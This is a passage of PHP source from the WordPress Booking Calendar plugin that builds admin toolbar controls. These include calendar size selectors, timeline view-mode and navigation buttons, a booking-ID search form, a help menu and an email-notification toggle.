//////////////////////////////////////////////////////////////////// ?></div><?php ?><div id="calendar_size_toolbar_container" class="visibility_container clearfix-height" style="display:<?php echo ( $selected_tab == 'calendar_size' ) ? 'block' : 'none' ?>;margin-top:-5px;"><?php /* ?><span class="advanced_booking_filter" style="display:none;"><div class="clear" style="width:100%;border-bottom:1px solid #ccc;height:10px;"></div><?php */ // Get possible saved previous "Custom User Calendar data" $user_calendar_options = get_user_option( 'booking_custom_' . 'add_booking_calendar_options', wpbc_get_current_user_id() ); if ( $user_calendar_options === false ) { // Default, if no saved previously. $user_calendar_options = array(); $user_calendar_options['calendar_months_count'] = 1; $user_calendar_options['calendar_months_num_in_1_row'] = 0 ; $user_calendar_options['calendar_width'] = ''; $user_calendar_options['calendar_widthunits'] = 'px'; $user_calendar_options['calendar_cell_height'] = ''; $user_calendar_options['calendar_cell_heightunits'] = 'px'; } else { $user_calendar_options = maybe_unserialize( $user_calendar_options ); } wpbc_toolbar_btn__calendar_months_number_selection( $user_calendar_options ); wpbc_toolbar_btn__calendar_months_num_in_1_row_selection( $user_calendar_options ); wpbc_toolbar_btn__calendar_width( $user_calendar_options ); wpbc_toolbar_btn__calendar_cell_height( $user_calendar_options ); wpbc_toolbar_btn__calendar_options_save(); wpbc_toolbar_btn__calendar_options_reset(); /* ?><div class="clear"></div></span><?php wpbc_clear_div(); wpbc_toolbar_expand_collapse_btn( 'advanced_booking_filter' ); */ ?></div><?php wpbc_bs_toolbar_sub_html_container_end(); wpbc_toolbar_is_send_emails_btn(); ?></div><?php wpbc_clear_div(); } // --------------------------------------------------------------------------------------------------------------------- // HTML elements for Toolbar // --------------------------------------------------------------------------------------------------------------------- /** * Expand or Collapse Advanced Filter set * * @param string $css_class_of_expand_element - CSS Class of element section to show or hide */ function wpbc_toolbar_expand_collapse_btn( $css_class_of_expand_element ) { ?><span id="show_link_advanced_booking_filter" class="tab-bottom tooltip_right advanced_booking_filter" title="<?php _e('Expand Advanced Toolbar' ,'booking'); ?>" ><a href="javascript:void(0)" onclick="javascript:jQuery('.<?php echo $css_class_of_expand_element; ?>').show(); jQuery('#show_link_advanced_booking_filter').hide(); jQuery('#hide_link_advanced_booking_filter').show();"><i class="wpbc_icn_expand_more"></i></a></span> <span id="hide_link_advanced_booking_filter" class="tab-bottom tooltip_right advanced_booking_filter" style="display:none;" title="<?php _e('Collapse Advanced Toolbar' ,'booking'); ?>" ><a href="javascript:void(0)" onclick="javascript:jQuery('.<?php echo $css_class_of_expand_element; ?>').hide(); jQuery('#hide_link_advanced_booking_filter').hide(); jQuery('#show_link_advanced_booking_filter').show();"><i class="wpbc_icn_expand_less"></i></a></span><?php } /** * Checkbox - sending emails or not * * @param $style Styles of this element group * * @return void */ function wpbc_toolbar_is_send_emails_btn( $style = 'position:absolute;right:0px;margin-top:10px;' ) { ?><div class="btn-group" style="<?php echo $style; ?>"><?php $el_id = 'is_send_email_for_pending'; $el_value = ( get_bk_option( 'booking_send_emails_off_addbooking' ) !== 'On' ) ? 'On' : 'Off'; $params_checkbox = array( 'id' => $el_id // HTML ID of element , 'name' => $el_id , 'label' => array( 'title' => __( 'Emails sending', 'booking' ) , 'position' => 'right' ) //FixIn: 9.6.1.5 , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'legend' => '' // aria-label parameter , 'value' => $el_value // Some Value from optins array that selected by default , 'selected' => ( ( 'On' == $el_value ) ? true : false ) // Selected or not //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code //, 'onchange' => "wpbc_ajx_booking_send_search_request_with_params( {'ui_usr__send_emails': (jQuery( this ).is(':checked') ? 'send' : 'not_send') } );" // JavaScript code , 'hint' => array( 'title' => __('Send email notification to customer about this operation' ,'booking') , 'position' => 'top' ) ); wpbc_flex_toggle( $params_checkbox ); ?></div><?php } /** Search form by booking ID (at top right side of page) */ function wpbc_toolbar_search_by_id_bookings() { $bk_admin_url = wpbc_get_params_in_url( wpbc_get_bookings_url( true, false ), array('view_mode', 'wh_booking_id', 'page_num' ) ); ?> <div style=" position: absolute; right: 23px; top: 11px;z-index: 9;"> <form name="booking_filters_formID" action="<?php echo $bk_admin_url . '&view_mode=vm_listing' ; ?>" method="post" id="booking_filters_formID" > <?php if (isset($_REQUEST['wh_booking_id'])) $wh_booking_id = wpbc_clean_digit_or_csd( $_REQUEST['wh_booking_id'] ); // {'1', '2', .... } else $wh_booking_id = ''; $params = array( 'label_for' => 'wh_booking_id' , 'label' => ''//__('Keyword:', 'booking') , 'items' => array( array( 'type' => 'text', 'id' => 'wh_booking_id', 'value' => $wh_booking_id, 'placeholder' => __('Booking ID', 'booking'), 'style' => 'border-right: none;' ) , array( 'type' => 'button' , 'title' => __('Go', 'booking') , 'class' => 'button-secondary' , 'font_icon' => 'wpbc_icn_search' , 'icon_position' => 'right' , 'action' => "jQuery('#booking_filters_formID').trigger( 'submit' );" ) ) ); ?><div class="control-group wpbc-no-padding" ><?php wpbc_bs_input_group( $params ); ?></div><?php ?> </form> <?php wpbc_clear_div(); ?> </div> <?php } // --------------------------------------------------------------------------------------------------------------------- // U I E l e m e n t s // --------------------------------------------------------------------------------------------------------------------- /** Help - Drop Down Menu - T a b */ function wpbc_bs_dropdown_menu_help() { wpbc_bs_dropdown_menu( array( 'title' => __( 'Help', 'booking' ) , 'font_icon' => 'wpbc_icn_support' //FixIn: 9.0.1.4 'glyphicon glyphicon-question-sign' , 'position' => 'right' , 'items' => array( array( 'type' => 'link', 'title' => "What's New"/*__('Get Started')*/, 'url' => esc_url( admin_url( add_query_arg( array( 'page' => 'wpbc-about' ), 'index.php' ) ) ) ) , array( 'type' => 'divider' ) , array( 'type' => 'link', 'title' => __('Help', 'booking'), 'url' => 'https://wpbookingcalendar.com/help/' ) , array( 'type' => 'link', 'title' => __('FAQ', 'booking'), 'url' => 'https://wpbookingcalendar.com/faq/' ) , array( 'type' => 'link', 'title' => __('Technical Support', 'booking'), 'url' => 'https://wpbookingcalendar.com/support/' ) , array( 'type' => 'divider' ) , array( 'type' => 'link', 'title' => __('About Booking Calendar', 'booking') // , 'url' => wpbc_up_link() , 'url' => esc_url( admin_url( add_query_arg( array( 'page' => 'wpbc-about-premium' ), 'index.php' ) ) ) , 'attr' => array( // 'target' => '_blank' 'style' => 'font-weight: 600;font-size: 1em;' ) ) ) ) ); } /** View Mode - B u t t o n */ function wpbc_toolbar_btn__view_mode() { $selected_view_mode = ( isset( $_REQUEST['view_mode'] ) ) ? $_REQUEST['view_mode'] : ''; $bk_admin_url = wpbc_get_params_in_url( wpbc_get_bookings_url( false ), array('view_mode', 'wh_booking_id', 'page_num' ) ); $params = array(); //FixIn: 9.6.3.5 $is_selected = ( ( $selected_view_mode == 'vm_booking_listing' ) || ( $selected_view_mode == 'vm_listing' ) ) ? true : false; $params['btn_vm_listing_new'] = array( 'title' => '' , 'hint' => array( 'title' => __('Booking Listing' ,'booking') , 'position' => 'top' ) , 'selected' => $is_selected , 'link' => wpbc_get_bookings_url('booking-listing', true ) . '&view_mode=vm_booking_listing' , 'icon' => '' , 'font_icon' => 'wpbc-bi-collection'//'glyphicon glyphicon-align-justify' ); $bk_admin_url = wpbc_get_params_in_url( wpbc_get_bookings_url( false ) , array() // Exclude Value of this parameter , array( 'page', 'tab', 'tab_cvm', 'wh_booking_type', 'scroll_start_date', 'scroll_month', 'view_days_num' , 'wh_trash' //FixIn: 6.1.1.10 ) // Only this parameters ); $params['btn_vm_calendar'] = array( 'title' => '' , 'hint' => array( 'title' => __('Timeline View' ,'booking') , 'position' => 'bottom' ) , 'selected' => ( $selected_view_mode == 'vm_calendar' ) ? true : false , 'link' => $bk_admin_url . '&view_mode=vm_calendar' , 'icon' => '' , 'font_icon' => 'wpbc-bi-calendar2-range'// 'glyphicon glyphicon-calendar' ); ?><div style="position:absolute;" class="wpbc_mode_switcher"><?php wpbc_bs_vertical_buttons_group( $params ); ?></div><?php } //FixIn: 9.6.3.5 // --------------------------------------------------------------------------------------------------------------------- // Toolbar Actions B u t t o n s - T i m e l i n e ////////////////// // --------------------------------------------------------------------------------------------------------------------- /** View Mode Timeline - B u t t o n s */ function wpbc_toolbar_btn__timeline_view_mode() { if ((isset($_REQUEST['wh_booking_type'])) && ( strpos($_REQUEST['wh_booking_type'], ',') !== false ) ) $is_show_resources_matrix = true; else $is_show_resources_matrix = false; if ( isset( $_REQUEST['view_days_num'] ) ) $view_days_num = intval( $_REQUEST['view_days_num'] ); else $view_days_num = get_bk_option( 'booking_view_days_num'); $bk_admin_url = wpbc_get_params_in_url( wpbc_get_bookings_url( false ), array('view_days_num') ); if ( ! $is_show_resources_matrix ) { $params = array( 'label_for' => 'calendar_overview_number_of_days_to_show' // "For" parameter of button group element , 'label' => '' //__('Calendar view mode', 'booking') // Label above the button group , 'style' => '' // CSS Style of entire div element , 'items' => array( array( 'type' => 'button' , 'title' => __('Day', 'booking') . ' ' // Title of the button //FixIn: Flex TimeLine 1.0 , 'hint' => array( 'title' => __('Show day' ,'booking') , 'position' => 'top' ) // Hint , 'font_icon' => 'wpbc-bi-calendar-event' // , 'title' => __('Month', 'booking') . ' ' // Title of the button // , 'hint' => array( 'title' => __('Show month' ,'booking') , 'position' => 'top' ) // Hint , 'link' => $bk_admin_url . '&view_days_num=30' // Direct link or skip it , 'action' => "" // Some JavaScript to execure, for example run the function , 'class' => 'button-secondary btn_dn_30' // button-secondary | button-primary , 'icon' => '' // , 'font_icon' => 'glyphicon glyphicon-align-justify' , 'icon_position' => 'right' // Position of icon relative to Text: left | right , 'style' => '' // Any CSS class here , 'mobile_show_text' => true // Show or hide text, when viewing on Mobile devices (small window size). , 'attr' => array() ) , array( 'type' => 'button' , 'title' => __('Week', 'booking') . ' ' // Title of the button //FixIn: Flex TimeLine 1.0 , 'hint' => array( 'title' => __('Show week' ,'booking') , 'position' => 'top' ) // Hint , 'font_icon' => 'wpbc-bi-calendar-week' // , 'title' => __('3 Months', 'booking') . ' ' // Title of the button // , 'hint' => array( 'title' => __('Show 3 months' ,'booking') , 'position' => 'top' ) // Hint , 'link' => $bk_admin_url . '&view_days_num=90' // Direct link or skip it , 'action' => "" // Some JavaScript to execure, for example run the function , 'class' => 'button-secondary btn_dn_90' // button-secondary | button-primary , 'icon' => '' // , 'font_icon' => 'glyphicon glyphicon-th-list' , 'icon_position' => 'right' // Position of icon relative to Text: left | right , 'style' => '' // Any CSS class here , 'mobile_show_text' => true // Show or hide text, when viewing on Mobile devices (small window size). , 'attr' => array() ) , array( 'type' => 'button' , 'title' => __('Month', 'booking') . ' ' // Title of the button , 'hint' => array( 'title' => __('Show month' ,'booking') , 'position' => 'top' ) // Hint , 'font_icon' => 'wpbc-bi-calendar3' // , 'title' => __('Year', 'booking') . ' ' // Title of the button // , 'hint' => array( 'title' => __('Show year' ,'booking') , 'position' => 'top' ) // Hint , 'link' => $bk_admin_url . '&view_days_num=365' // Direct link or skip it , 'action' => "" // Some JavaScript to execure, for example run the function , 'class' => 'button-secondary btn_dn_365' // button-secondary | button-primary , 'icon' => '' // , 'font_icon' => 'glyphicon glyphicon-th' , 'icon_position' => 'right' // Position of icon relative to Text: left | right , 'style' => '' // Any CSS class here , 'mobile_show_text' => true // Show or hide text, when viewing on Mobile devices (small window size). , 'attr' => array() ) ) ); } else { $params = array( 'label_for' => 'calendar_overview_number_of_days_to_show' // "For" parameter of button group element , 'label' => '' //__('Calendar view mode:', 'booking') // Label above the button group , 'style' => '' // CSS Style of entire div element , 'items' => array( array( 'type' => 'button' , 'title' => __('Day', 'booking') . ' ' // Title of the button , 'hint' => array( 'title' => __('Show day' ,'booking') , 'position' => 'top' ) // Hint , 'link' => $bk_admin_url . '&view_days_num=1' // Direct link or skip it , 'action' => "" // Some JavaScript to execure, for example run the function , 'class' => 'button-secondary btn_dn_1' // button-secondary | button-primary , 'icon' => '' , 'font_icon' => 'wpbc-bi-calendar-event' //'wpbc_icn_event' , 'icon_position' => 'right' // Position of icon relative to Text: left | right , 'style' => '' // Any CSS class here , 'mobile_show_text' => true // Show or hide text, when viewing on Mobile devices (small window size). , 'attr' => array() ) , array( 'type' => 'button' , 'title' => __('Week', 'booking') . ' ' // Title of the button , 'hint' => array( 'title' => __('Show week' ,'booking') , 'position' => 'top' ) // Hint , 'link' => $bk_admin_url . '&view_days_num=7' // Direct link or skip it , 'action' => "" // Some JavaScript to execure, for example run the function , 'class' => 'button-secondary btn_dn_7' // button-secondary | button-primary , 'icon' => '' , 'font_icon' => 'wpbc-bi-calendar-week'//'wpbc_icn_calendar_view_week' , 'icon_position' => 'right' // Position of icon relative to Text: left | right , 'style' => '' // Any CSS class here , 'mobile_show_text' => true // Show or hide text, when viewing on Mobile devices (small window size). , 'attr' => array() ) , array( 'type' => 'button' , 'title' => __('Month', 'booking') . ' ' // Title of the button , 'hint' => array( 'title' => __('Show month' ,'booking') , 'position' => 'top' ) // Hint , 'link' => $bk_admin_url . '&view_days_num=30' // Direct link or skip it , 'action' => "" // Some JavaScript to execure, for example run the function , 'class' => 'button-secondary btn_dn_30' // button-secondary | button-primary , 'icon' => '' , 'font_icon' => 'wpbc-bi-calendar3'//'wpbc_icn_calendar_view_month' , 'icon_position' => 'right' // Position of icon relative to Text: left | right , 'style' => '' // Any CSS class here , 'mobile_show_text' => true // Show or hide text, when viewing on Mobile devices (small window size). , 'attr' => array() ) , array( 'type' => 'button' , 'title' => __('2 Months', 'booking') . ' ' // Title of the button , 'hint' => array( 'title' => __('Show 2 months' ,'booking') , 'position' => 'top' ) // Hint , 'link' => $bk_admin_url . '&view_days_num=60' // Direct link or skip it , 'action' => "" // Some JavaScript to execure, for example run the function , 'class' => 'button-secondary btn_dn_60' // button-secondary | button-primary , 'icon' => '' , 'font_icon' => 'wpbc-bi-calendar2-week'//'wpbc_icn_density_medium' , 'icon_position' => 'right' // Position of icon relative to Text: left | right , 'style' => '' // Any CSS class here , 'mobile_show_text' => true // Show or hide text, when viewing on Mobile devices (small window size). , 'attr' => array() ) ) ); } wpbc_bs_button_group( $params ); //FixIn: 7.0.1.10 ?><script type="text/javascript"> if ( 'function' === typeof( jQuery('#calendar_overview_number_of_days_to_show .button').button ) ) { jQuery('#calendar_overview_number_of_days_to_show .button').button(); jQuery('#calendar_overview_number_of_days_to_show .button.btn_dn_<?php echo $view_days_num; ?>').button('toggle'); } else { console.log('Warning! Booking Calendar. Its seems that you have deactivated loading of Bootstrap JS files at Booking Settings General page in Advanced section.') } </script><?php } /** Navigation Timeline - B u t t o n s */ function wpbc_toolbar_btn__timeline_navigation() { if ((isset($_REQUEST['wh_booking_type'])) && ( strpos($_REQUEST['wh_booking_type'], ',') !== false ) ) $is_show_resources_matrix = true; else $is_show_resources_matrix = false; if ( isset( $_REQUEST['view_days_num'] ) ) $view_days_num = intval( $_REQUEST['view_days_num'] ); else $view_days_num = get_bk_option( 'booking_view_days_num'); $bk_admin_url = wpbc_get_params_in_url( wpbc_get_bookings_url( false ), array('scroll_month', 'scroll_day') ); //debuge($_REQUEST, $bk_admin_url); // Get Data For buttons if (! $is_show_resources_matrix) { switch ($view_days_num) { case '90': if (isset($_REQUEST['scroll_day'])) $scroll_day = intval( $_REQUEST['scroll_day'] ); else $scroll_day = 0; $scroll_params = array( '&scroll_day='.intval($scroll_day-4*7), '&scroll_day='.intval($scroll_day-7), '&scroll_day=0', '&scroll_day='.intval($scroll_day+7 ), '&scroll_day='.intval($scroll_day+4*7) ); $scroll_titles = array( __('Previous 4 weeks' ,'booking'), __('Previous week' ,'booking'), __('Current week' ,'booking'), __('Next week' ,'booking'), __('Next 4 weeks' ,'booking') ); break; case '30': if (isset($_REQUEST['scroll_day'])) $scroll_day = intval( $_REQUEST['scroll_day'] ); else $scroll_day = 0; //FixIn: 8.9.4.3 // Here we need to define number of days to scroll depends from selected number of days to show. $days_num_to_scroll = intval( get_bk_option( 'booking_calendar_overview__day_mode__days_number_show' ) );; if ( empty( $days_num_to_scroll ) ) { $days_num_to_scroll = 7; } $scroll_params = array( '&scroll_day='.intval( $scroll_day - $days_num_to_scroll * 2 ), '&scroll_day='.intval( $scroll_day - $days_num_to_scroll ), '&scroll_day=0', '&scroll_day='.intval( $scroll_day + $days_num_to_scroll ), '&scroll_day='.intval( $scroll_day + $days_num_to_scroll *2 ) ); $scroll_titles = array( __( 'Previous', 'booking' ) . ' ' . ( 2 * $days_num_to_scroll ) . ' ' . __( 'days', 'booking' ), __( 'Previous', 'booking' ) . ' ' . $days_num_to_scroll . ' ' . __( 'days', 'booking' ), __('Current week' ,'booking'), __( 'Next', 'booking' ) . ' ' . $days_num_to_scroll . ' ' . __( 'days', 'booking' ), __( 'Next', 'booking' ) . ' ' . ( 2 * $days_num_to_scroll ) . ' ' . __( 'days', 'booking' ) ); break; default: // 365 if (! isset($_REQUEST['scroll_month'])) $_REQUEST['scroll_month'] = 0; $scroll_month = intval( $_REQUEST['scroll_month'] ); $scroll_params = array( '&scroll_month='.intval($scroll_month-3), '&scroll_month='.intval($scroll_month-1), '&scroll_month=0', '&scroll_month='.intval($scroll_month+1 ), '&scroll_month='.intval($scroll_month+3) ); $scroll_titles = array( __('Previous 3 months' ,'booking'), __('Previous month' ,'booking'), __('Current month' ,'booking'), __('Next month' ,'booking'), __('Next 3 months' ,'booking') ); break; } } else { // Matrix switch ($view_days_num) { case '1': //Day if (isset($_REQUEST['scroll_day'])) $scroll_day = intval( $_REQUEST['scroll_day'] ); else $scroll_day = 0; $scroll_params = array( '&scroll_day='.intval($scroll_day-7), '&scroll_day='.intval($scroll_day-1), '&scroll_day=0', '&scroll_day='.intval($scroll_day+1 ), '&scroll_day='.intval($scroll_day+7) ); $scroll_titles = array( __('Previous 7 days' ,'booking'), __('Previous day' ,'booking'), __('Current day' ,'booking'), __('Next day' ,'booking'), __('Next 7 days' ,'booking') ); break; case '7': //Week if (isset($_REQUEST['scroll_day'])) $scroll_day = intval( $_REQUEST['scroll_day'] ); else $scroll_day = 0; $scroll_params = array( '&scroll_day='.intval($scroll_day-4*7), '&scroll_day='.intval($scroll_day-7), '&scroll_day=0', '&scroll_day='.intval($scroll_day+7 ), '&scroll_day='.intval($scroll_day+4*7) ); $scroll_titles = array( __('Previous 4 weeks' ,'booking'), __('Previous week' ,'booking'), __('Current week' ,'booking'), __('Next week' ,'booking'), __('Next 4 weeks' ,'booking') ); break; case '30': case '60': case '90': //3 months if (! isset($_REQUEST['scroll_month'])) $_REQUEST['scroll_month'] = 0; $scroll_month = intval( $_REQUEST['scroll_month'] ); $scroll_params = array( '&scroll_month='.intval($scroll_month-3), '&scroll_month='.intval($scroll_month-1), '&scroll_month=0', '&scroll_month='.intval($scroll_month+1 ), '&scroll_month='.intval($scroll_month+3) ); $scroll_titles = array( __('Previous 3 months' ,'booking'), __('Previous month' ,'booking'), __('Current month' ,'booking'), __('Next month' ,'booking'), __('Next 3 months' ,'booking') ); break; default: // 30, 60, 90... if (! isset($_REQUEST['scroll_month'])) $_REQUEST['scroll_month'] = 0; $scroll_month = intval( $_REQUEST['scroll_month'] ); $scroll_params = array( '&scroll_month='.intval($scroll_month-3), '&scroll_month='.intval($scroll_month-1), '&scroll_month=0', '&scroll_month='.intval($scroll_month+1 ), '&scroll_month='.intval($scroll_month+3) ); $scroll_titles = array( __('Previous 3 months' ,'booking'), __('Previous month' ,'booking'), __('Current month' ,'booking'), __('Next month' ,'booking'), __('Next 3 months' ,'booking') ); break; } } $params = array( 'label_for' => 'calendar_overview_navigation' // "For" parameter of button group element , 'label' => '' //__('Calendar Navigation', 'booking') // Label above the button group , 'style' => '' // CSS Style of entire div element , 'items' => array( array( 'type' => 'button' , 'title' => '' // Title of the button , 'hint' => array( 'title' => $scroll_titles[0] , 'position' => 'top' ) // Hint , 'link' => $bk_admin_url .$scroll_params[0] // Direct link or skip it , 'action' => "" // Some JavaScript to execure, for example run the function , 'class' => 'button-secondary wpbc_button_no_background' // button-secondary | button-primary , 'icon' => '' , 'font_icon' => 'wpbc_icn_keyboard_double_arrow_left' , 'icon_position' => 'left' // Position of icon relative to Text: left | right , 'style' => '' // Any CSS class here , 'mobile_show_text' => false // Show or hide text, when viewing on Mobile devices (small window size). , 'attr' => array() ) , array( 'type' => 'button' , 'title' => '' // Title of the button , 'hint' => array( 'title' => $scroll_titles[1] , 'position' => 'top' ) // Hint , 'link' => $bk_admin_url .$scroll_params[1] // Direct link or skip it , 'action' => "" // Some JavaScript to execure, for example run the function , 'class' => 'button-secondary wpbc_button_no_background' // button-secondary | button-primary , 'icon' => '' , 'font_icon' => 'wpbc_icn_keyboard_arrow_left' , 'icon_position' => 'left' // Position of icon relative to Text: left | right , 'style' => '' // Any CSS class here , 'mobile_show_text' => false // Show or hide text, when viewing on Mobile devices (small window size). , 'attr' => array() ) , array( 'type' => 'dropdown' , 'id' => 'timeline_navigation_date' , 'title' => '' // Title of the button , 'hint' => array( 'title' => __('Custom' ,'booking') , 'position' => 'top' ) // Hint , 'class' => 'button-secondary wpbc_button_no_background' // button-secondary | button-primary , 'icon' => '' , 'font_icon' => 'wpbc_icn_gps_fixed' , 'icon_position' => 'left' // Position of icon relative to Text: left | right , 'style' => '' // Any CSS class here , 'mobile_show_text' => false // Show or hide text, when viewing on Mobile devices (small window size). , 'attr' => array() , 'options' => array( $scroll_titles[2] => "window.location.href='" . wpbc_get_params_in_url( wpbc_get_bookings_url( false ) , array('scroll_month', 'scroll_day', 'scroll_start_date') ) . $scroll_params[2] . "'" , 'divider1' => 'divider' , 'custom' => array( array( 'type' => 'group', 'class' => 'input-group text-group') , array( 'type' => 'text' , 'id' => 'calendar_overview_navigation_currentdate' , 'name' => 'calendar_overview_navigation_currentdate' , 'label' => __('Start Date' ,'booking') . ':' , 'disabled' => false , 'class' => 'wpdevbk-filters-section-calendar' , 'style' => '' , 'placeholder' => date('Y-m-d') , 'attr' => array() , 'value' => '' ) ) , 'divider2' => 'divider' , 'buttons' => array( array( 'type' => 'group', 'class' => 'btn-group' ), array( 'type' => 'button' , 'title' => __('Apply' ,'booking') // Title of the button , 'hint' => '' // , 'hint' => array( 'title' => __('Select status' ,'booking') , 'position' => 'bottom' ) , 'link' => 'javascript:void(0)' // Direct link or skip it , 'action' => "jQuery('#calendar_overview_navigation_container').hide(); window.location.href='" . wpbc_get_params_in_url( wpbc_get_bookings_url( false ) , array('scroll_month', 'scroll_day', 'scroll_start_date') ) . "&scroll_start_date=' + jQuery('#calendar_overview_navigation_currentdate').val();" , 'class' => 'button-primary' // button-secondary | button-primary , 'icon' => '' , 'font_icon' => '' , 'icon_position' => 'left' // Position of icon relative to Text: left | right , 'style' => '' // Any CSS class here , 'mobile_show_text' => false // Show or hide text, when viewing on Mobile devices (small window size). , 'attr' => array() ) , array( 'type' => 'button' , 'title' => __('Close' ,'booking') // Title of the button , 'hint' => '' // , 'hint' => array( 'title' => __('Select status' ,'booking') , 'position' => 'bottom' ) , 'link' => 'javascript:void(0)' // Direct link or skip it //, 'action' => '' // Some JavaScript to execure, for example run the function , 'class' => 'button-secondary' // button-secondary | button-primary , 'icon' => '' , 'font_icon' => '' , 'icon_position' => 'left' // Position of icon relative to Text: left | right , 'style' => '' // Any CSS class here , 'mobile_show_text' => false // Show or hide text, when viewing on Mobile devices (small window size). , 'attr' => array() ) ) ) ) , array( 'type' => 'button' , 'title' => '' // Title of the button , 'hint' => array( 'title' => $scroll_titles[3] , 'position' => 'top' ) // Hint , 'link' => $bk_admin_url .$scroll_params[3] // Direct link or skip it , 'action' => "" // Some JavaScript to execure, for example run the function , 'class' => 'button-secondary wpbc_button_no_background' // button-secondary | button-primary , 'icon' => '' , 'font_icon' => 'wpbc_icn_keyboard_arrow_right' , 'icon_position' => 'left' // Position of icon relative to Text: left | right , 'style' => '' // Any CSS class here , 'mobile_show_text' => false // Show or hide text, when viewing on Mobile devices (small window size). , 'attr' => array() ) , array( 'type' => 'button' , 'title' => '' // Title of the button , 'hint' => array( 'title' => $scroll_titles[4] , 'position' => 'top' ) // Hint , 'link' => $bk_admin_url .$scroll_params[4] // Direct link or skip it , 'action' => "" // Some JavaScript to execure, for example run the function , 'class' => 'button-secondary wpbc_button_no_background' // button-secondary | button-primary , 'icon' => '' , 'font_icon' => 'wpbc_icn_keyboard_double_arrow_right' , 'icon_position' => 'left' // Position of icon relative to Text: left | right , 'style' => '' // Any CSS class here , 'mobile_show_text' => false // Show or hide text, when viewing on Mobile devices (small window size). , 'attr' => array() ) ) ); wpbc_bs_button_group( $params ); } // --------------------------------------------------------------------------------------------------------------------- // Toolbar Options B u t t o n s - Add New Booking ////////////////// // --------------------------------------------------------------------------------------------------------------------- /** Genereate URL based on GET parameters */ function wpbc_get_new_booking_url__base( $skip_parameters = array() ) { $link_base = wpbc_get_new_booking_url( true, false ); $link_params = array(); if ( ( isset( $_GET['booking_type'] ) ) && ( $_GET['booking_type'] > 0 ) ) $link_params['booking_type'] = $_GET['booking_type']; if ( isset( $_GET['booking_hash'] ) ) $link_params['booking_hash'] = $_GET['booking_hash']; if ( isset( $_GET['parent_res'] ) ) $link_params['parent_res'] = $_GET['parent_res']; if ( isset( $_GET['booking_form'] ) ) $link_params['booking_form'] = $_GET['booking_form']; if ( isset( $_GET['calendar_months_count'] ) ) $link_params['calendar_months_count'] = intval( $_GET['calendar_months_count'] ); if ( isset( $_GET['calendar_months_num_in_1_row'] ) ) $link_params['calendar_months_num_in_1_row'] = intval( $_GET['calendar_months_num_in_1_row'] ); foreach ( $link_params as $key => $value ) { if ( ! in_array( $key, $skip_parameters) ) { $link_base .= '&' . $key . '=' . $value; } } return $link_base; } /** Selection Number of visible months */ function wpbc_toolbar_btn__calendar_months_number_selection( $user_calendar_options = array() ) { $text_label = __('Visible months' ,'booking') .':' ; $form_options = array( 1 => 1, 2 => 2, 3 => 3, 4 => 4, 5 => 5, 6 => 6, 7 => 7, 8 => 8, 9 => 9, 10 => 10, 11 => 11, 12 => 12 ); $parameter_name = 'calendar_months_count'; if ( isset( $user_calendar_options[$parameter_name] ) ) $selected_value = intval ( $user_calendar_options[ $parameter_name ] ); else $selected_value = 1; $link_base = wpbc_get_new_booking_url__base( array( $parameter_name ) ) . '&' . $parameter_name . '=' ; $on_change = ''; //'location.href=\'' . $link_base . '\' + this.value;'; $params = array( 'label_for' => $parameter_name // "For" parameter of label element , 'label' => '' // Label above the input group , 'style' => '' // CSS Style of entire div element , 'items' => array( array( 'type' => 'addon' , 'element' => 'text' // text | radio | checkbox , 'text' => $text_label , 'class' => '' // Any CSS class here , 'style' => 'font-weight:600;' // CSS Style of entire div element ) , array( 'type' => 'select' , 'id' => $parameter_name // HTML ID of element , 'options' => $form_options // Associated array of titles and values , 'value' => $selected_value // Some Value from optins array that selected by default , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'onchange' => $on_change ) ) ); ?><div class="control-group wpbc-no-padding" style="width:auto;"><?php wpbc_bs_input_group( $params ); ?></div><?php } /** Selection Number of calendar months in one row */ function wpbc_toolbar_btn__calendar_months_num_in_1_row_selection( $user_calendar_options = array() ) { $text_label = __('Number of months in one row' ,'booking') . ':'; $form_options = array( 0 => __('All', 'booking'), 1 => 1, 2 => 2, 3 => 3, 4 => 4, 5 => 5, 6 => 6, 7 => 7, 8 => 8, 9 => 9, 10 => 10, 11 => 11, 12 => 12 ); $parameter_name = 'calendar_months_num_in_1_row'; if ( isset( $user_calendar_options[$parameter_name] ) ) $selected_value = intval ( $user_calendar_options[ $parameter_name ] ); else $selected_value = 0; $link_base = wpbc_get_new_booking_url__base( array( $parameter_name ) ) . '&' . $parameter_name . '=' ; $on_change = ''; // 'location.href=\'' . $link_base . '\' + this.value;'; $params = array( 'label_for' => $parameter_name // "For" parameter of label element , 'label' => '' // Label above the input group , 'style' => '' // CSS Style of entire div element , 'items' => array( array( 'type' => 'addon' , 'element' => 'text' // text | radio | checkbox , 'text' => $text_label , 'class' => '' // Any CSS class here , 'style' => 'font-weight:600;' // CSS Style of entire div element ) , array( 'type' => 'select' , 'id' => $parameter_name // HTML ID of element , 'options' => $form_options // Associated array of titles and values , 'value' => $selected_value // Some Value from optins array that selected by default , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'onchange' => $on_change ) ) ); ?><div class="control-group wpbc-no-padding"><?php wpbc_bs_input_group( $params ); ?></div><?php } function wpbc_toolbar_btn__calendar_width( $user_calendar_options = array() ){ $text_label = __('Maximum width of calendar' ,'booking') . ':'; $parameter_name = 'calendar_width'; if ( isset( $user_calendar_options[$parameter_name] ) ) $selected_value = intval( $user_calendar_options[ $parameter_name ] ); else $selected_value = ''; if ( isset( $user_calendar_options[$parameter_name . 'units'] ) ) $selected_value_units = esc_attr( $user_calendar_options[ $parameter_name . 'units' ] ); else $selected_value_units = ''; $params = array( 'label_for' => $parameter_name // "For" parameter of label element , 'label' => '' // Label above the input group , 'style' => '' // CSS Style of entire div element , 'items' => array( array( 'type' => 'addon' , 'element' => 'text' // text | radio | checkbox , 'text' => $text_label , 'class' => '' // Any CSS class here , 'style' => 'font-weight:600;' // CSS Style of entire div element ) , array( 'type' => 'text' , 'id' => $parameter_name // HTML ID of element , 'value' => $selected_value // Some Value from optins array that selected by default , 'style' => 'width: 5em;' // CSS of select element , 'placeholder' => '100%' , 'class' => '' // CSS Class of select element , 'attr' => array() // Any additional attributes, if this radio | checkbox element ) , array( 'type' => 'select' , 'id' => $parameter_name . 'units' // HTML ID of element , 'options' => array( 'px' => 'px', 'percent' => '%' ) // Associated array of titles and values , 'value' => $selected_value_units // 